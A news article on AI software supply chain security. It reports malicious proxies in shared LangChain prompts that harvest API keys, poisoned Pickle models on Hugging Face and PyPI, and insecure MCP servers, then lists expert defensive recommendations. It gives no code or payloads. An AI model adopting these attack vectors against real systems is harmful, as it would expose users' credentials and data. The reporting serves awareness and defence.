The AI software supply chain is rapidly expanding to include not only open-source development tools but also collaborative platforms where developers share custom models, agents, prompts, and other resources. And with this expansion of third-party AI component and services use comes an expanded security threat — one that in many ways may be more complex, obscured, and pernicious than traditional software supply chain issues.
While companies rush to experiment with AI, often with less oversight than for traditional software development, attackers are quickly realizing these new platforms and shareable assets that fall outside typical security monitoring can be exploited to compromise systems and data.
“This pattern isn’t new; it echoes what we’ve seen repeatedly in software development,” Brian Fox, CTO at software supply chain management company Sonatype, tells CSO. “When something new and exciting comes along, whether it’s containerization, serverless, or now AI, organizations move fast to reap the benefits, but security often lags behind. What’s unique with AI is the added complexity: pre-trained models, opaque data sources, and new attack vectors like prompt injection. These elements make traditional security practices harder to apply.”
Flaws and malicious code in AI dependencies on the rise
Just last week, researchers from application security firm Backslash warned that hundreds of publicly shared Model Context Protocol (MCP) servers have insecure configurations that can open arbitrary command execution holes on systems that deploy them. MCP servers link large language models (LLMs) to third-party services, data sources, and tools to provide improved reasoning context, making them an indispensable tool for building AI agents.
Earlier in June, researchers from AI security startup Noma Security warned about a feature in LangChain’s Prompt Hub that could be abused by attackers to distribute malicious prompts that steal API tokens and sensitive data. The LangChain Prompt Hub is part of LangSmith, a platform for building, testing, and monitoring the performance of AI-based applications.
LangSmith users can share complex system prompts with one another in Prompt Hub, and these behave like AI agents. One feature when developing such prompts is to specify a proxy server through which to route all API requests to an LLM provider.
“This newly identified vulnerability exploited unsuspecting users who adopt an agent containing a pre-configured malicious proxy server uploaded to ‘Prompt Hub’ (which is against LangChain ToS),” the Noma Security’s researchers wrote. “Once adopted, the malicious proxy discreetly intercepted all user communications — including sensitive data such as API keys (including OpenAI API Keys), user prompts, documents, images, and voice inputs — without the victim’s knowledge.”
The LangChain team has since added warnings to agents that contain custom proxy configurations, but this vulnerability highlights how well-intentioned features can have serious security repercussions if users don’t pay attention, especially on platforms where they copy and run other people’s code on their systems.
The problem, as Sonatype’s Fox mentioned, is that, with AI, the risk expands beyond traditional executable code. Developers might more easily understand why running software components from repositories such as PyPI, npm, NuGet, and Maven Central on their machines carry significant risks if those components are not vetted first by their security teams. But they might not think the same risks apply when testing a system prompt in an LLM or even a custom machine learning (ML) model shared by others.
Attackers fully understand that the AI supply chain is lagging behind traditional software development in oversight and have started taking advantage of it. Earlier this year researchers found malicious code inside AI models hosted on Hugging Face, the largest platform for sharing machine learning assets.
Those attacks took advantage of Python’s serialized Pickle format. Because of PyTorch’s popularity as a widely used ML library written in Python, Pickle has become a common way to store and distribute ML models. Not many security tools have the capability to scan such files yet for malicious code.
More recently researchers found a rogue component on PyPI that masqueraded as an Alibaba AI SDK and contained a poisoned model in Pickle format with malicious hidden code inside.
Security tools still catching up to AI supply chain risks
“Most tools today aren’t fully equipped to scan AI models or prompts for malicious code, and attackers are already exploiting that gap,” Sonatype’s Fox says. “While some early solutions are emerging, organizations shouldn’t wait. They need to extend existing security policies to cover these new components now — because the risk is real and growing.”
Ken Huang, CAIO of DistributedApps.ai and co-chair of the Cloud Security Alliance (CSA)’s AI Safety Working Group, concurs: “Teams often prioritize speed and innovation over rigorous vetting, especially as vibe coding makes it easier to generate and share code rapidly. This environment fosters shortcuts and overconfidence in AI outputs, leading to the integration of insecure or unverified components and increasing the likelihood of supply chain compromise.”
Vibe coding is the increasingly common practice of developing entire applications with the help of LLM-powered code assistants, with the human acting as the overseer giving input through natural language prompts. Security researchers have warned that this practice can result in code with hard-to-detect errors and vulnerabilities.
The CSA, a nonprofit industry association that promotes security assurance practices in cloud computing, recently published an Agentic AI Red Teaming Guide co-authored by Huang together with more than 50 industry contributors and reviewers. One of the chapters tackles testing for AI agent supply chain and dependency attacks that can lead to unauthorized access, data breaches, or system failures.
A comprehensive MLSecOps approach
“Dependency scanners, lockfiles, and hash verification help pin packages to trusted versions and identify unsafe or hallucinated dependencies.” Huang tells CSO. “However, not all threats — such as subtle data poisoning or prompt-based attacks — are detectable via automated scans, so layered defenses and human review remain critical.”
Huang’s recommendations include:
- Vibe coding risk mitigation: Recognize that vibe coding can introduce insecure or unnecessary dependencies, and enforce manual review of AI-generated code and libraries. Encourage skepticism and verification of all AI-generated suggestions, especially package names and framework recommendations.
- MLBOM and AIBOM: Establishing a machine learning or AI bill of materials will provide enterprises with detailed inventories of all datasets, models, and code dependencies, offering transparency and traceability for AI-specific assets. Model cards and system cards help document intended use, limitations, and ethical considerations, but do not address the technical supply chain risks. MLBOM/AIBOM complements these by focusing on provenance and integrity.
- Continuous scanning and monitoring: Integrate model and dependency scanners into CI/CD pipelines, and monitor for anomalous behaviors post-deployment.
- Zero trust and least privilege: Treat all third-party AI assets as untrusted by default, isolate and sandbox new models and agents, and restrict permissions for AI agents.
- Policy alignment: Ensure that AI platforms and repositories are covered by existing software supply chain security policies, updated to address the unique risks of AI and vibe coding.